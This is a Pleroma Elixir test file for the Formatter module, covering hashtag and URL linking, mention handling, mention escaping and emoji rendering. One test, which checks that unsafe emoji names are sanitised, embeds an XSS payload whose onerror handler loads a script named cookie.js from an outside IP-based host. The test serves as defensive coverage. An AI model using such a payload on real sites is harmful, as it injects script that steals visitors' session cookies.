Fork of Pleroma with site-specific changes and feature branches https://git.pleroma.social/pleroma/pleroma
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

301 lines
11KB

  1. # Pleroma: A lightweight social networking server
  2. # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
  3. # SPDX-License-Identifier: AGPL-3.0-only
  4. defmodule Pleroma.FormatterTest do
  5. alias Pleroma.Formatter
  6. alias Pleroma.User
  7. use Pleroma.DataCase
  8. import Pleroma.Factory
  9. setup_all do
  10. Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  11. :ok
  12. end
  13. describe ".add_hashtag_links" do
  14. test "turns hashtags into links" do
  15. text = "I love #cofe and #2hu"
  16. expected_text =
  17. "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  18. tags = Formatter.parse_tags(text)
  19. assert expected_text ==
  20. Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  21. end
  22. test "does not turn html characters to tags" do
  23. text = "Fact #3: pleroma does what mastodon't"
  24. expected_text =
  25. "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
  26. tags = Formatter.parse_tags(text)
  27. assert expected_text ==
  28. Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  29. end
  30. end
  31. describe ".add_links" do
  32. test "turning urls into links" do
  33. text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  34. expected =
  35. "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  36. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  37. text = "https://mastodon.social/@lambadalambda"
  38. expected =
  39. "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  40. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  41. text = "https://mastodon.social:4000/@lambadalambda"
  42. expected =
  43. "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  44. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  45. text = "@lambadalambda"
  46. expected = "@lambadalambda"
  47. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  48. text = "http://www.cs.vu.nl/~ast/intel/"
  49. expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  50. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  51. text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  52. expected =
  53. "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  54. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  55. text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  56. expected =
  57. "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  58. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  59. text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  60. expected =
  61. "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  62. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  63. text = "https://en.wikipedia.org/wiki/Duff's_device"
  64. expected =
  65. "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  66. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  67. text = "https://pleroma.com https://pleroma.com/sucks"
  68. expected =
  69. "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
  70. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  71. text = "xmpp:contact@hacktivis.me"
  72. expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
  73. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  74. text =
  75. "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
  76. expected = "<a href=\"#{text}\">#{text}</a>"
  77. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  78. end
  79. end
  80. describe "add_user_links" do
  81. test "gives a replacement for user links" do
  82. text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
  83. gsimg = insert(:user, %{nickname: "gsimg"})
  84. archaeme =
  85. insert(:user, %{
  86. nickname: "archa_eme_",
  87. info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
  88. })
  89. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  90. mentions = Pleroma.Formatter.parse_mentions(text)
  91. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  92. assert length(subs) == 3
  93. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  94. expected_text =
  95. "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
  96. archaeme.id
  97. }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
  98. archaeme_remote.id
  99. }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
  100. assert expected_text == Formatter.finalize({subs, text})
  101. end
  102. test "gives a replacement for user links when the user is using Osada" do
  103. mike = User.get_or_fetch("mike@osada.macgirvin.com")
  104. text = "@mike@osada.macgirvin.com test"
  105. mentions = Formatter.parse_mentions(text)
  106. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  107. assert length(subs) == 1
  108. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  109. expected_text =
  110. "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
  111. assert expected_text == Formatter.finalize({subs, text})
  112. end
  113. test "gives a replacement for single-character local nicknames" do
  114. text = "@o hi"
  115. o = insert(:user, %{nickname: "o"})
  116. mentions = Formatter.parse_mentions(text)
  117. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  118. assert length(subs) == 1
  119. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  120. expected_text =
  121. "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
  122. assert expected_text == Formatter.finalize({subs, text})
  123. end
  124. test "does not give a replacement for single-character local nicknames who don't exist" do
  125. text = "@a hi"
  126. mentions = Formatter.parse_mentions(text)
  127. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  128. assert length(subs) == 0
  129. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  130. expected_text = "@a hi"
  131. assert expected_text == Formatter.finalize({subs, text})
  132. end
  133. end
  134. describe ".parse_tags" do
  135. test "parses tags in the text" do
  136. text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
  137. expected = [
  138. {"#Test", "test"},
  139. {"#working", "working"},
  140. {"#漢字", "漢字"},
  141. {"#は", "は"}
  142. ]
  143. assert Formatter.parse_tags(text) == expected
  144. end
  145. end
  146. test "it can parse mentions and return the relevant users" do
  147. text =
  148. "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
  149. o = insert(:user, %{nickname: "o"})
  150. jimm = insert(:user, %{nickname: "jimm"})
  151. gsimg = insert(:user, %{nickname: "gsimg"})
  152. archaeme = insert(:user, %{nickname: "archaeme"})
  153. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  154. expected_result = [
  155. {"@gsimg", gsimg},
  156. {"@archaeme", archaeme},
  157. {"@archaeme@archae.me", archaeme_remote},
  158. {"@o", o},
  159. {"@jimm", jimm}
  160. ]
  161. assert Formatter.parse_mentions(text) == expected_result
  162. end
  163. test "it adds cool emoji" do
  164. text = "I love :moominmamma:"
  165. expected_result =
  166. "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
  167. assert Formatter.emojify(text) == expected_result
  168. end
  169. test "it does not add XSS emoji" do
  170. text =
  171. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  172. custom_emoji = %{
  173. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  174. "https://placehold.it/1x1"
  175. }
  176. expected_result =
  177. "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  178. assert Formatter.emojify(text, custom_emoji) == expected_result
  179. end
  180. test "it returns the emoji used in the text" do
  181. text = "I love :moominmamma:"
  182. assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
  183. end
  184. test "it returns a nice empty result when no emojis are present" do
  185. text = "I love moominamma"
  186. assert Formatter.get_emoji(text) == []
  187. end
  188. test "it doesn't die when text is absent" do
  189. text = nil
  190. assert Formatter.get_emoji(text) == []
  191. end
  192. describe "/mentions_escape" do
  193. test "it returns text with escaped mention names" do
  194. text = """
  195. @a_breakin_glass@cybre.space
  196. (also, little voice inside my head thinking "maybe this will encourage people
  197. pronouncing it properly instead of saying _raKEWdo_ ")
  198. """
  199. escape_text = """
  200. @a\\_breakin\\_glass@cybre\\.space
  201. (also, little voice inside my head thinking \"maybe this will encourage people
  202. pronouncing it properly instead of saying _raKEWdo_ \")
  203. """
  204. mentions = [{"@a_breakin_glass@cybre.space", %{}}]
  205. assert Formatter.mentions_escape(text, mentions) == escape_text
  206. end
  207. end
  208. end